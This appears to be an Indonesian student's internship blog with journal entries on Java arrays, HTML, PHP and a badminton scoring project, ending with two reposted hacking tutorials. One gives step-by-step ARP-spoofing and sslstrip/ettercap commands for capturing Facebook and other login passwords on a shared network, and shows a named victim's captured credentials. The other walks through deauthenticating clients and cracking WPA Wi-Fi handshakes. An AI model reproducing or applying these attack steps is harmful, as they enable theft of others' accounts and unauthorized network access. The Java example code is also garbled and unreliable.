Jumat, 11 April 2014

Hari ini saya buka-buka modul di MVA (Microsoft Virtual Academy) modul di sini sangat banyak kita mau belajar pun enak, 
Microsoft Virtual Academy (MVA) adalah sebuah portal pembelajaran online dari Microsoft dimana Anda dapat mempelajari beragam produk dan teknologi Microsoft terkini dengan materi pembelajaran yang resmi secara GRATIS alias tanpa harus membayar biaya apapun. Fokus utama MVA sendiri adalah mengenalkan tentang apa itu teknologi Cloud dari Microsoft, hal ini dengan pertimbangan bahwa teknologi Cloud Computing yang memang sedang menjadi tren saat ini. Namun disamping materi-materi pembelajaran tentang Cloud tersebut, tentunya masih banyak materi-materi pembelajaran lainnya yang disediakan, dari mulai materi tentang Operating System, Database Server, hingga Network Infrastructure.

Semua materi pembelajaran online yang terdapat pada MVA memiliki point. Semakin banyak materi yang kita pelajari maka akan semakin banyak point yang kita dapatkan. Dari hasil pengumpulan point ini maka kita akan memiliki level atau jenjang yang dibagi menjadi 4, yaitu level Bronze, Silver, Gold hingga Platinum. Jenjang ini ditujukan agar kita dapat melihat kemajuan yang dicapai dari pembelajaran ini. Semua materi yang telah dipelajari, point yang berhasil dikumpulkan hingga jenjang yang berhasil kita raih, dapat kita pantau pada sebuah halaman informasi statistik yang jelas. Hal-hal seperti ini membuat kita seakan-akan sedang belajar pada sebuah sekolah / kampus virtual.
Panduan Singkat Pendaftaran
Untuk bisa mengikuti materi pembelajaran di portal MVA ini Anda membutuhkan Windows Live-ID yang bisa Anda dapatkan secara gratis di situs Windows Live . Atau jika Anda sudah memiliki account email di Hotmail maka account tersebut juga bisa Anda gunakan untuk login ke portal MVA . Dan berikutnya Anda tinggal login ke portal resmi MVA di alamat berikut ini: http://bit.ly/mva-register
Setelah login, isikan terlebih dahulu data-data yang diperlukan. Usahakan jangan mengisikan informasi yang asal-asalan / dummy data. Tapi gunakanlah nama asli Anda karena hasil atau pencapaian materi yang Anda dapatkan di MVA ini kemudian bisa Anda publikasikan yang mungkin bisa menjadi salah satu rujukan saat Anda hendak melamar pekerjaan ke sebuah perusahaan. Setelah pengisian data, kemudian sebuah email aktifasi akan dikirimkan ke email Anda. Lakukan aktifasi sesuai dengan link yang diberikan didalam email tersebut dan berikutnya Anda sudah dapat mengikuti semua materi pembelajaran di portal MVA .
Dashboard dan Materi Pembelajaran
Setiap kali login ke portal MVA , halaman pertama yang akan ditampilkan adalah halaman Dashboard yang memuat beberapa informasi / statistik hasil pembelajaran yang telah Anda lewati seperti tampak pada gambar berikut ini.

Untuk mulai mengikuti pembelajaran, klik link View the list of available tracks di bagian In progress. Dan pada halaman berikutnya yang ditampilkan, Anda dapat memilih materi apa yang hendak Anda pelajari. Materi-materi ini tentunya tidak harus Anda ambil secara berurutan alias bisa Anda ambil dengan bebas. Sebagai contoh, disini saya mencoba memilih materi pembelajaran Deploying Windows 7.

Berikutnya perhatikan bahwa setiap materi tersebut terbagi lagi menjadi beberapa sub-materi dengan bahan pembelajaran yang beragam, mulai dari materi-materi online, materi dalam bentuk modul PDF, slide presentasi hingga video e-learning. Anda bebas untuk memilih materi-materi tersebut sesuai dengan keinginan / kebutuhan Anda sendiri.

Self-Assessment Test
Setelah Anda mempelajari satu materi tertentu, maka berikutnya Anda dapat mengikuti Self-Assessment Test atau sebuah kuis / ujian sederhana. Ujian ini berisikan soal-soal yang terkait dengan materi yang telah Anda pelajari. Bentuknya multiple-choice atau pilihan ganda. Tujuan dari Self-Assessment Test ini jelas untuk menguji, sampai dimana pemahaman kita terkait dengan materi yang telah dipelajari sebelumnya.

Setelah ujian selesai, hasilnya akan langsung ditampilkan. Jika Anda belum lulus maka Anda dapat me-review soal-soal tersebut lalu mengulang kembali ujian.

Dan jika lulus Anda juga akan mendapatkan sebuah bukti berupa sertifikat keikutsertaan dalam format digital (PDF). Contoh sertifikat yang bisa Anda dapatkan dapat dilihat pada gambar berikut ini.
 

Kamis, 10 April 2014

hari ini kami mendapat materi baru mengenai MVA(Microsoft Virtual Academy) ini adalah situs dari Microsoft yang menyediakan pembelajaran programing. di sini menyediakan materi tinggat dasar maupun lanjut. Materi ini diberikan oleh mas Ekha, Mas Dirga dan Mas Luthfi. Menurut saya materi ini sangat menarik, karena di sini berisi materi-materi berupa video maupun text.
 

Selasa, 8 April 2014

Pagi ini saya mengikuti kuliah pak Rahmat, yang di ajarkan pada kuliah hari ini adalah Array.
Array adalah sekumpulan variabel yang memiliki tipe data yang sama dan dinyatakan dengan nama yang sama. Array merupakan konsep yang penting dalam pemrograman, karna array memungkinkan untuk menyimpan data maupun referensi objek dalam jumlah banyak dan terindeks. Array menggunakan indeks integer untuk menentukan urutan elemen-elemennya, dimana elemen pertamanya dimulai dari indeks 0,elemen kedua memiliki indeks 1, dan seterusnya.
·         Contoh :
-          Angka untuk menyimpan sederetan bilangan
-          Buku untuk menyimpan sekumpulan data buku
-          Mahasiswa untuk menyimpan beberapa data mahasiswa
·         Sebagai contoh jika A merupakan sebuah array dengan tipe integer, maka notasi dari array A adalah: A[n], dengan n merupakan angka index dari array tersebut misal:
A[0]=100
A[1]=200
A[2]=300
A[3]=400

A.   Mendeklarasikan Variabel Array
·         Mendeklarasikan variabel array dengan tipe data yang diinginkan dengan cara yang hampir sama dengan variabel biasa. Misalnya untuk mendeklarasikan variabel bertipe integer, dapat dilakukan dengan cara :
int [ ] bilangan; atau int bilangan [ ];
Jadi perbedaan utama pendeklarasian variabel array dengan variabel biasa adalah adanya tanda kurung [ ] di akhir tipe data atau di akhir nama variabel array. Pada tahap pendeklarasian variabel array ini belum ada alokasi memory untuk menyimpan data.
B.   Mendefenisikan Array
·         Setelah mendeklarasikan array, kita perlu mendefenisikan array, dalam arti menentukan besar array yang diinginkan. Misalnya dengan cara :
Bilangan = new int [5];
·         Array memiliki ukuran yang tetap dalam arti tidak dapat membesar atau mengecil ukurannya setelah didefenisikan. Setelah didefenisikan, maka variabel dengan nama bilangan dapat menyimpan 5 nilai integer yang dapat diakses melalui indeks 0 sampai indeks 4. Setelah pendefenisian array, maka memori akan dialokasikan untuk menyimpan data dari array. Besar memori yang dialokasikan tergantung dari tipe data variabel array dan jumlah elemen array yang didefenisikan.
·  C.   Array Dua Dimensi
      Pada java juga menyediakan fasilitas untuk membuat array dua dimensi yang dapat membantu dalam pemrograman apabila array datu dimensi tidak mencukupi dalam menghasilkan suatu solusi. Array dua dimensi sebenarnya adalah array yang berisi array.

D.   Array Multidimensi
        Selain array satu dimensi dan array dua dimensi, dapat juga membuat array multi dimensi pada java. Array multidimensi merupakan array yang terdiri dari array yang tidak terbatas hanya dua dimensi saja. Kita dapat menggunakan kode berikut untuk mendapatkan array 3 dimensi :
Int [ ] [ ] array dimensi = new int [ 5 ] [ 10 ] [ 5 ] ;
  Dan pada array multidimensi , kita dapat menetukan ukuran array yang berbeda pada tiap array. Misalnya :
Int [ ] [ ] [ ] mdimensi = new int [ 5 ] [ ] [ ] ;
   Dari kode diatas, kita mendapatkan array pertama dengan 5 elemen, tetapi kita belum mendefinisikan ukuran array dimensi kedua dan ketiga.
Contoh ;
// Elemen 512 x 128 dari integer array
int[][] twoD = new int[512][128];
// karakter array 8 x 16 x 24
char[][][] threeD = new char[8][16][24];
// String array 4 baris x 2 kolom
String[][] dogs = {{ "terry", "brown" },
{ "Kristin", "white" },
{ "toby", "gray"},
{ "fido", "black"}
};
            Untuk mengakses sebuah elemen didalam array multidimensi, sama saja dengan mengakses array satu dimensi. Misalnya saja, untuk mengakses element pertama dari baris pertama didalam array dogs, kita akan menulis,

System.out.print( dogs[0][0] );

Kode diatas akan mencetak String “terry” di layar.

Contoh Program :
Buatlah flowchart dan program array satu dimensi dengan menggunakan inputan user ( min 6).
      Contoh :       1. nilai [0 ] = 12 ;
                              2. nilai [ 1] = 36 ;
                              3. nilai [ 2] = 45 ;
                                4. nilai [3] = 58 ;
                                5. nilai [ 4] = 93 ;
                                6. nilai [ 5] = 87 ;

Coding :
package tupen;
import javax.swing.JOptionPane;
public class Array3 {
public static void main(String []args){
         int n=Integer.parseInt(JOptionPane.showInputDialog("Berapa Jumlah data"));
         int[]angka=new int[n];
    // menggunakan perulangan for
        for (int i=0;i
        angka [i]=Integer.parseInt(JOptionPane.showInputDialog("Data ke - " + i+"?" ) );
        }
                //menggunakan perulangan while
        int a=0;
        while(a
       System.out.println("Nilai Index ke -"+ a +" Adalah = " +angka [a]);
        a++ ;
                                 }
                        }

}


Sumber : Di sini
 

Senin, 7 april 2014

Hari ini saya membuat tugas tips & trik komputer, yang saya buat adalah tips cara menambahkan printer  atau meng sharing printer. hari ini saya juga mempelajari contoh rekrusif yang di kiriman pak rahmat. program ini lumayan membuat mumet, karena memang belum pernah mendapat kan ini di sekolah, tapi memang ini lah yang saya cari di akakom, mungkin yang paling saya tunggu adalah membuat program yang berbasis web nya, karena saya memang lebih minat ke pemrograman web.
 

Jumat, 4 april 2014

Hari ini saya melanjutkan tgas menganalisis, tugas ini benar cukup rumit karena jujur pengetahuan saya tentang spesifikasi pc itu sangat minim tetapi karena tugas ini pengetahuan saya menjadi lebih banyak tentang pc yang baik itu bagaimana. Menurut saya setiap tugas yang di berikan pak kuindra itu memang sulit, tapi di balik kesulitan itu banyak ilmu yang akan kita dapat, ini lah salah satuhal yang membuat saya betah di akakom yogyakarta ini.
 

Kamis, 3 April 2014

hari ini kami di ruang humas membantu untuk menata brosur, brisur yang kami tata lebih dari 5000 lembar brosur, setelah membatu menata brosus sekitar jam 1 saya melanjutkan tugas menganalisis du buah gambar :


 

rabu. 2 april 2014

Hari ini mengikuti kuliah Pak Rahmat, mata kuliah hari ini adala pemrograman web, kali ini belajar tentang table.
Tabel didefinisikan dengan tag table.
Sebuah tabel dibagi menjadi baris dengan tag <tr>. (tr singkatan table row)
Baris A dibagi ke dalam sel data dengan tag <td>. (td singkatan dari table data)
Baris A juga dapat dibagi menjadi judul dengan tag <th>. (th singkatan dari table heading)
Unsur-unsur <td> adalah wadah data dalam tabel.
Unsur-unsur <td> dapat berisi segala macam elemen HTML seperti teks, gambar, daftar, tabel lain, dll
Lebar tabel dapat didefinisikan dengan menggunakan CSS.

Contoh :
<table style="width:300px">
<tr>
  <td>Jill</td>
  <td>Smith</td> 
  <td>50</td>
</tr>
<tr>
  <td>Eve</td>
  <td>Jackson</td> 
  <td>94</td>
</tr>
</table>

Jika Anda tidak menentukan perbatasan untuk table, akan ditampilkan tanpa batas. 
Sebuah perbatasan dapat ditambahkan dengan menggunakan atribut border:

Contoh :
<table border="1" style="width:300px">
<tr>
  <td>Jill</td>
  <td>Smith</td> 
  <td>50</td>
</tr>
<tr>
  <td>Eve</td>
  <td>Jackson</td> 
  <td>94</td>
</tr>
</table>

Untuk menambahkan perbatasan dengan CSS, menggunakan properti border:

contoh :
<style>
table,th,td
{
border:1px solid black;
}
</style>


 

Selasa, 1 April 2014

hari ini Pak Kuindra tidak masuk. tidak masuknya pak kuindra bukan berati kami bebas tugas malah semakin banyak tugas yang kami dapatkan, antara lain :

1. perkembangan teknologi terbaru dari prosesor, ditinjau dr sisi arsitekturnya, baik untuk Desktop maupun proc Mobile
2. Perkembangan Teknologi pc ditinjau dr sisi arsitektur
3. Perkembangan teknologi piranti input dan output
4. Perkembangan teknologi komunikasi (seluler)
5. Membuat video tips & trik tentang komputer
6. Menganalisa gambar spesifikasi processor dan memory

 

Jumat, 28 maret 2014

Hari ini adalah hari perpisahan dengan teman-teman dai smk tembarak temanggung dan sambeng lamongan, perpisahan ini di penuhi dengan tangis dari teman-teman saya, tapi saya hanya bisa tertawa meihat teman-teman saya menangis karena mungkin saya sudah tidak bisa menangis :D. jujur perpisahan ini sangat menyakitkan karena saya baru satu bulan terakhir ini serig main bareng anak lamongan. kalo untuk anak tembarak saya sudah cukup dekat tapi hanya beberapa kali main bareng mereka.
 

Kamis, 27 Maret 2014

Hari ini saya mengikuti kunjungan industri dari smk mahardika surabaya di ruang presentasi, yang presentasi kali ini adalah rino dan putri, materi presentasi kali ini adalah materi baru bagi saya karena saya belum pernah mendapatkan materi ini, materinya adalah membuat design tiga dimensi dari blender. blender adalah  perangkat lunak untuk grafis 3 dimensi yang gratis dan populer di kalangan desainer.
Blender dapat digunakan untuk membuat animasi 3 dimensi. Perangkat lunak ini juga memiliki fitur untuk membuat permainan. Blender tersedia untuk berbagai sistem operasi, seperti:
  • Microsoft Windows
  • Mac OS X
  • Linux
  • IRIX
  • Solaris
  • NetBSD
  • FreeBSD
  • OpenBSD.
Perangkat lunak ini berlisensi GPL dan kemudian kode sumbernya tersedia dan dapat diambil siapa saja.
Di Blender juga tersedia Game Engine, mesin untuk membuat game menggunakan logic bricks. Dan ada juga Cycles render.
 

Rabu, 26 Maret 2014

Pagi ini saya memaksakan masuk pkl walaupun saya masih tidak enak badan, kemarin saja saya tidak masuk. pagi ini saya dan ke empat teman saya mengikuti jam kuliah pak rahmat , mata kuliah pagi ini adalah web programing atau pemroraman web. setelah mengikuti kuliah kami kembali ke ruang humas, di ruang humas kami mencoba-coba membuat program rekrusif , kami sama sekali belum bisa membuat program ini,
 

Senin, 24 Maret 2014

pagi ini kami mengikuti workshop tentang mobile programming oleh Pak Rahmat yang dimulai pada pukul 08.00. Workshop ini selesai pukul 09.45. Beberapa pengetahuan yang kami dapat kali ini adalah instalasi ADT(Android Development Tools) Bundle yang berupa Eclipse dan disertai plug-in untuk Developing Android Apps. 
setelah mengikuti workshop kami kembali lagi ke ruang humas. hari ini  seluruh peserta pkl diminta Pak Kuindra untuk mempresentasikan beberapa tugas yang telah diberikan sebelumnya. Presentasi tersebut berakhir kira-kira pukul 16.30. presentasi kali ini berjalan cukup lancar, penampilan teman-teman kali ini cukup memuaskan. Pukul 19.00 kami berlima menghadiri Workshop Cloud Computing oleh Pak Rahmat. setelah mengikuti workshop kami melaporkan tugas untuk membuat program scorring badminton kepada pak rahmat, tugas ini sudah selesai baik program utama maupun program-program yang di buat mahasiswa yang harus di perbaiki.








 

Jumat, 21 Maret 2014

Mungkin hari ini hari yang sangat mengesalkan karena ketika program utama dari scorring badminton selesai mala di temukan empat program hasil buatan mahasiswa yang salah, tugas kami pun menjadi lebih banyak sekarang, bahkan ada satu program yang tidak ada sehingga kami harus membut programnya dari awal.
 

Kamis, 20 Maret 2014

Hari ini saya mengerjakan tugas dari pak rahmat. tugas hari ini tidak hanya menyempurnakan progam utama yang sudah jadi, tetapi kami harus meng kompile program-program yang nanti akan di masukkan dalam program utamanya nanti. program-program ini kebanyakan masih belum jadi, padahal program-program ini buatan mahasiswa dan mahasiswi dari pak rahmat, tetapi masih saja banyak kesalahan-kesalahan yang fatal dalam program ini seperti ada satu program yang ketika poin di input sampai berapapun tetap tidak ada winmatch nya. mengkompile program itu ternyata jauh lebih sulit dari pada membangun program itu sendiri.
 

Rabu, 19 Maret 2014

Pagi ini kami mengikuti kuliah Pak Rahmat, mata kuliah hari ini adalah pengenalan web dan yang kami plajari kali ini adalah hyperlink dan list

Sebuah hyperlink (atau link) adalah kata, kelompok kata, atau gambar yang dapat Anda klik untuk melompat ke dokumen lain.

Bila Anda memindahkan kursor di atas link di halaman Web, panah akan berubah menjadi tangan kecil.

Atribut yang paling penting dari elemen <a> adalah atribut href, yang menunjukkan tujuan link.

Secara default, link akan muncul sebagai berikut di semua browser:

     -Link yang belum dikunjungi adalah digarisbawahi dan biru
     -Sebuah link yang dikunjungi digarisbawahi dan ungu
     -Link aktif digarisbawahi dan merah


Contoh sintak link : <a href="http://www.w3schools.com/">Visit W3Schools</a>

List
di html ada tiga macam list : 

-Unordered list  
-Ordered list
-Description list



HTML  Unordered list

Daftar unordered dimulai dengan tag <ul>. Setiap item daftar dimulai dengan tag <li>.  
Daftar item ditandai dengan peluru (lingkaran hitam biasanya kecil).  

Contoh sintak : 
<ul>
<li>Coffee</li>
<li>Milk</li>
</ul> 

 tampilan di browser :
  • Coffee
  • Milk
HTML Ordered Lists

Ordered list dimulai dengan tag <ol>. Setiap item daftar dimulai dengan tag <li>.  
Daftar item ditandai dengan angka.

contoh sintak :
<ol>
<li>Coffee</li>
<li>Milk</li>
</ol> 

tampilan di browser :
  1. Coffee
  2. Milk

 HTML Description list :
Sebuah Description list adalah daftar istilah / nama, dengan deskripsi masing-masing istilah / nama. 

contoh sintak :
<dl>
<dt>Coffee</dt>
<dd>- black hot drink</dd>
<dt>Milk</dt>
<dd>- white cold drink</dd>
</dl> 


Tampilan di browser :
Coffee
- black hot drink
Milk
- white cold drink
 
 

Selasa, 18 maret 2014

Hari ini di ruang humas lebih banyak tidur karena hampir semaleman kami mengerjakan tugas untuk membuat program utama dari Scorring Badminton. Pada sore hari pak kuindra menyuruh kami untuk ke ruang B.1.3 untuk presentasi kali ini presentasi di lakukan secara random dengan cara mengambil kertas undian. tetapi saat presentasi masih di tengah-tengah kami harus meninggalkan ruang presentasi untuk menghadap ke Pak Rahmat. kali ini kami dapat pengarahan untuk membuat program utamanya, setelah mendapat materi dari pak rahmat kami langsung kembali ke ruang presentasi untuk mengikuti presentasi.
 

Senin, 17 maret 2014

Hari ini saya tetap belajar java, proyek yang di berikan Pak Rahmat kepada kami mendapat kendala saat membuat program utamanya. program utama ini adalah program yang ketika dijalankan akan otomatis memanggil program-program yang lain. program ini menjalankan jenis-jenis permainan badminton.
saat membuat programnya banyak sekali error nya ketika di compile, ya inilah kami, mencoba membuat suatu program tanpa tau apa dasar dari java, karena kami berlima belum tau sama sekali yang namanya pemrograman java, mungkin ada sebagian yang tau tapi sudah lupa :D sekarang adalah hari ketiga kami mengerjakan program utama ini, dan sampai saat ini program utama ini masih error. walaupun kami sudah tiga hari lembur sampai sekitar jam 12 malam :D  mungkin besok kami akan meminta bimbingan dari pak rahmat nya langsung agar proyek ini bisa berjalan .
 

Jumat, 14 maret 2014

Hari ini saya benar-benar bingung mau mengerjakan apa karena tugas dari pak rahmat dan pak kuindra bentrok di otak saya. hari ini ruangan humas cukup sepi karena banyak yang membolos :v maklum saja karena memang setiap pak kuindra tidak ada pasti ada saja yang membolos :D tapi yang membolos atau telat pasti anak cewek, karena anak cowok tidak ada yang berani telat ataupun membolos.
hari ini saya membuat bahan presentasi untuk hari senin, dan terpaksa hari ini saya meninggalkan tugas dari pak rahmat untuk sementara. mungki tugas dari pak rahmat akan saya kerjakan nanti malam di kos bersama teman-teman, karena jika di kerjakan di ruang humas bisa pecah otak kami karena mendapat tugas dari dua orang sekaligus .
 

Kamis, 13 maret 2014

Hari ini kelompok saya meneruskan project dari Pak Rahmat, hari ini yang saya kerjakan adalah
membuat algoritma dari program scorring badminton tersebut. ehh kalian tau gak algoritma itu apa ?
Dalam matematika dan komputasi, algoritma atau algoritme merupakan kumpulan perintah untuk menyelesaikan suatu masalah. Perintah-perintah ini dapat diterjemahkan secara bertahap dari awal hingga akhir. Masalah tersebut dapat berupa apa saja, dengan catatan untuk setiap masalah, ada kriteria kondisi awal yang harus dipenuhi sebelum menjalankan algoritma. Algoritma akan dapat selalu berakhir untuk semua kondisi awal yang memenuhi kriteria, dalam hal ini berbeda dengan heuristik. Algoritma sering mempunyai langkah pengulangan (iterasi) atau memerlukan keputusan (logika Boolean dan perbandingan) sampai tugasnya selesai.


tidak hanya itu hari ini saya di juga di kenal kan dengan java oleh pak rahmat. sebenarnya saya sudah pernah mendapat plajaran tentang java, namun kali ini beda karena sintak-sintak yang ada di aplikasi scorring badminton kebanyakan belum pernah di ajarkan di SMK.
 

Rabu, 12 maret 2014


Hari ini ada kuliah lagi, dosennya tetap pak Rahmat, mata kuliah hari ini adalah html dan xhtml

HyperText Markup Language (HTML) adalah sebuah bahasa markah yang digunakan untuk membuat sebuah halaman web, menampilkan berbagai informasi di dalam sebuah penjelajah web Internet dan pemformatan hiperteks sederhana yang ditulis dalam berkas format ASCII agar dapat menghasilkan tampilan wujud yang terintegerasi. Dengan kata lain, berkas yang dibuat dalam perangkat lunak pengolah kata dan disimpan dalam format ASCII normal sehingga menjadi halaman web dengan perintah-perintah HTML. Bermula dari sebuah bahasa yang sebelumnya banyak digunakan di dunia penerbitan dan percetakan yang disebut dengan SGML (Standard Generalized Markup Language), HTML adalah sebuah standar yang digunakan secara luas untuk menampilkan halaman web. HTML saat ini merupakan standar Internetyang didefinisikan dan dikendalikan penggunaannya oleh World Wide Web Consortium  (W3C). HTML dibuat oleh kolaborasi Caillau TIM dengan Berners-lee Robert ketika mereka bekerja di CERN pada tahun 1989 (CERN adalah lembaga penelitian fisika energi tinggi di Jenewa)

contoh dari syntax html adalah sebagai berikut :
<!DOCTYPE html>
<html>
<body>

<h1>My First Heading</h1>

<p>My first paragraph.</p>

</body>
</html>
*syntax berwarna merah

XHTML merupakan singkatan dari eXtensible HyperText Markup Language. XHTML merupakan bentuk reformulasi dari HTML menggunakan paradigma XML.
XHTML adalah bahasa markup penerus dan pengembangan dari HTML yang memiliki kemampuan yang kurang lebih mirip HTML, tapi dengan aturan sintaks yang lebih ketat. HTML merupakan aplikasi dari SGML (Standard Generalized Markup Language) yang sangat fleksibel, sedangkan XHTML adalah aplikasi dari XML, turunan SGML yang lebih terbatas.
Karena XHTML harus memiliki keteraturan-bentuk (mengikuti sintaks yang tepat), dokumen XHTML dapat diproses otomatis dengan menggunakan standar pemroses XML - tidak seperti HTML yang membutuhkan pemroses yang cukup sulit dan kompleks. XHTML dapat dianggap sebagai perpaduan antara HTML dan XML karena merupakan formulasi ulang HTML dalam bentuk XML. XHTML 1.0 telah menjadi rekomendasi W3C atau World Wide Web Consortium  pada tanggal 26 Januari 2000.


 

Selasa, 11 maret 2014


Hari ini saya dan ke empat teman saya mendapat kesempatan untuk mengikuti jam kuliah pak Rahmat.
Mata kuliah hari ini adalah "Pemrograman web", Hari ini kami belajar PHP
Contoh Syntax PHP :

<!DOCTYPE html>
<html>
<body>

<?php
echo "My first PHP script!";
?>


</body>
</html>

*Syntax php nya yang berwarna merah

Ketika Jam 3 sore kami di panggil ke ruang dosen , kami mendapat pengarahan dari pak rahmat, tugas yang kami mendapat beberapa refisi dari pak rahmat.
 

Senin, 10 Maret 2014

Hari ini saya mendapat arahan dari pak Rahmat untuk aturan main dari permainan Badminton, yang mau saya buat dengan saya adalah aplikasi scoring badminton. untuk membuat aplikasi ini kita harus mengerti betul peraturan permainan badminton. karna itu tadi pak rahmat menjelaskan aturan-aturan dasar permainan badminton, kami juga di beri contoh flowchart nya untuk di plajari. sekarang kami sedang mengerjakan untuk membuat algoritmanya. algoritma ini harus jadi dalam waktu 24 jam, selambat-lambatnya 48 jam. mungkin malam ini kita lembur lagi men :D hahaha
 

jumat, 7 maret 2014

Pagi ini semua olahraga pagi , seperti biasa yang ikut hanya anak-anak rpl saja. anak tkj tidak ada yang ikut kecuali anak baru yang dari banjar dan dua anak dari lamongan.  Setelah agak siang pak kuindara memberi beberapa trik untuk membuat sebuah laporan seperti :
-membuat daftar isi secara cepat
-membuat subbab dan bab
 

Hacking Facebook Dengan Backtrack 5 R3

Kali ini gw akan berbagi trick yaitu seperti judul yang telah disebutkan "Cara Hacking Facebook Menggunakan Backtrack 5 r3 . apa itu Backtrack? backtrack yaitu sebuah sistem operasi LINUX. oke dari pada penasaran pengen tau lebih jelasnya mari di simak dan di perhatikan betul perintah-perintahnya :

mula - mula anda masuk terminal, terus kalo udah masuk kita masuk ke root dulu dengan memberikan perintah ini sudo su-

Pertama-tama siapkan tool yang akan kita gunakan

- Arpspoof
- Sslstrip-0.9
- OS Linux 32 Bit

Setelah semua tool yang di butuhkan sudah tersedia lakukan langkah berikut (jika paket belum terinstal) :

1) Buka Terminal kemudian ketikkan : wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz

2) Kemudian extract file dengan cara : tar zxvf sslstrip-0.9.tar.gz

3) Ok sekarang kita masuk ke dalam folder baru dari file yang telah kita extract tadi : cd sslstrip-0.9

4) Dan untuk menginstal ketikkan : python setup.py install 

Lakukan langkah berikut ( Jika paket sudah terinstall )

Gunakan cara ini setiap kali jika ingin mencuri password lagi:

1) Pertama hidupkan terlebih dahulu port untuk memforward : echo ’1′ > /proc/sys/net/ipv4/ip_forward

2) Kemudian cari gateway atau pintu dari jaringan yang akan kita sadap dengan cara : netstat -nr 

3) sekarang kita reset port http ke port 8080, ketikan : iptables -t nat -A PREROUTING -p tcp -
    destination-port 80 -j REDIRECT --to-port 8080 

4) Mulai menyadap dengn cara : arpspoof -i wlan0 192.168.0.1 ( 192.168.0.1) adalah gateway dari
    jaringan yang saya gunakan, gantilah gateway tersebut dengan gateway yang anda temukan dari
    netstat -nr tadi)

5) Kemudian buka terminal baru lalu ketikkan  : sslstrip -l 8080 untuk mengaktifkan cookies yang akan
    kita baca

6) Set up is complete!! Ok sekarang kita telah menyadap akses jaringan yang melewati gateway.

7) jika anda ingin melihat akses kemana sajakah itu gunakan perintah : tail -f sslstrip.log

8) dan saat ada seseorang melakuakn login entah facebook yahoo gmail atau apapun yang
    menggunakan username dan password. kita akan mengetahuinya.

karena akan memakan waktu yang cukup lama karena harus menunggu ada seseorang yang mlakukan login jadi kita harus bersabar. dan itupun akan muncul script yang cukup banyak. gunakan perintah
find "pass: (tanpa petik) agar kita lebih mudah menemukannya

HANYA UNTUK PENGETAHUAN, JANGAN DI SALAH GUNAKAN YA !

Nah ini dia contoh saat Scanning: Social Enginering Toolkit (SET)

root@bt:~# ettercap -T -q -i eth0

ettercap NG-0.7.3 copyright @2013 Neyfa Kamila

Listening on eth0... (Ethernet)

eth0 ->   00:1E:68:2E:73:4A   1.0.0.64   255.255.255.0

Privileges dropped to UID 65534 GID 65534...

12 plugins
39 protocol dissectors
33 ports monitored
7587 mac vendor fingerprint
1990 tcp OS fingerprint
2633 known services

Starting Unified sniffing...


Text only Interface activated...
Hit 'h' for inline help

HTTP : 69.63.180.174:80 -> USER: martin.alfath@yahoo.com
PASS: c****g
INFO: http://www.facebook.com/

Dan ini Salah 1 Akun Facebook yg berhasil Gw Jebol ..

Email: martin.alfath@yahoo.com
Password: c****g


Sengaja Sebagian Password Gw pake bintang..
agar tidak ada Pencurian..


Kalo Mau Liat Buktinya.. Buka Facebook kalian
trus Copas emailnya di Kotak Pencari Facebook..
klik Profile'a, lalu lihat status terbarunya  ^_^

Atau Bisa Klik Link Yg Menuju Profil'a disini:

http://www.facebook.com/fadlhana


Sumber : http://nemi.faa.im/hacking-facebook-dengan-backtrack-5-r3.xhtml
 

cara buka pasword WPA dengan backtrack+EWSA

pada kesempatan kali ini saya akan share bagai mana cara buka paswod WPA pada jaringan wifi(Wireless Fidelity),WLAN (Wireless LAN) atau yang lebih dikenal sebagai WiFi (Wireless Fidelity) adalah salah satu metoda jaringan komputer yang menggunakan pancaran gelombang radio sebagai media sambungannya. WiFi bekerja pada band ISM (industrial, scientific and medical ) dengan frequensi 2,4GHZ. Pembagian channel tergantung dari regulasi negara masing masing, ada yang mengijinkan sampai 11 channel saja misal USA dan sekitarnya, atau 13 channel di daerah eropa, atau 14 channel yaitu di Jepang......singkat cerita langsung pada pokok permasalahan,..alat-alat yang harus anda miliki adalah:
1,wereles
2. back track
3.flash disk
kebetulan saya menggunakan alfa wireles bentuk nya seperti ini


alat ini sangat bermanfaat bagi saya,kususnya dalam berselancar dalam dunia maya ini,harganya relatip murah dan fungsinya mak nyuuusssssss,he2....untuk selanjutnya sahabat bloger harus punya backtrak,kl blm punya anda bisa download disini,ok langsung untuk cara proses buka pasword WPA nya ya.........
pertama tama sobat semua harus bisa ambil handshakes dari gelombang wereles tersebut atau sasaran yang akan kita craking itu...caranya sebagai berikut

buka back track nya buka konsole baru,lalu ketik perintah seperti pada gambar sisi bawah...

ketik airmon-ng  lalu enter,seperti pada gambar di atas,dilanjutkan dengan perintah airodump-ng wlan0 ,nanti akan muncul seperti pada gambar sisi bawah..


kemudian dilanjutkan menghentikan scan tersebut dengan cara menekan ctrl+c seperti gambar pada sisi bawah

di lanjutkan buka konsole baru, lalu ketik perintah,airodump-ng -c ch -w (nama sasaran) --bssid (nomer bssid) wlan0 di ahiri dengan menekan enter,seperti pada gambar sisi bawah

kemudian akan nampak seperti pada gamnbar di bawah ini

di lanjutkan dengan buka konsole baru,ketik perintah aireplay-ng -0 1 -a nomer bssid wlan0 lalu tekan enter,akan nampak seperti pada gambar sisi bawah


kemudian lanjutkan ketik perintah arepaly-ng -0 1 -a nomer bssid -c nomer station wlan0 di akhiri dengan menekan entar,seperti pada gambar sisi bawah ini,tunggu sampe hand shakes nya keluar,.....

setalah dapat kan handshakes nya,lalu copy pastekan file cap nya ke plasdisk yg anda sediakan,file cap tersebut terletak di home folder pada backtrack4 ini,hati2 untuk mengcopy nya jangan sampe ilang dan lupa untuk menaruh nya,soalnya file cap tersebut yg di gunakan untuk proses craking nanti.
nah saat nya pada babak inti sob  ku sekalian.....buka EWSA nya (Elcomsoft Wireless Security Auditor)seperti pada gambar sisi bawah ini


kemudian add file cap tadi yang udah di copy paste ke flash disk tadi,dengan cara klik file berlanjut ke import dump file pada panel atas,hasil nya akan tampak seperti gambar di bawah ini...

untuk selanjut add untuk worldlist yang kita buat,dengan cara klik options,lalu klik dictonary options,seperti gambar di bawah ini


kemudian sorot dictonary yg kita buat,seperti contoh pada gambar di bawah ini,...


kemudian klik masih pada options,berlanjut ke password mutation options,lalu klik disable mutations klik ok.seperti gambar di bawah ini

kemudian beri centang pada kolom persis seperti pada gambar dibawah ini lalu klik strt attack,biar kan proyek berjalan tunggu sampai selesai

dan akan nampak seperti gambar pada bawah ini


selamat password wpa/wpa2 anda telah berhasil di temukan,berhasil atau tidaknya craking wpa/wpa2 ini tergantung pada wordlist yg kita buat atau dictonary,dictonary adalah password acak,selamat mencoba dan jangan mudah menyerah.
 

Cara Menginstal Linux Backtrack 5

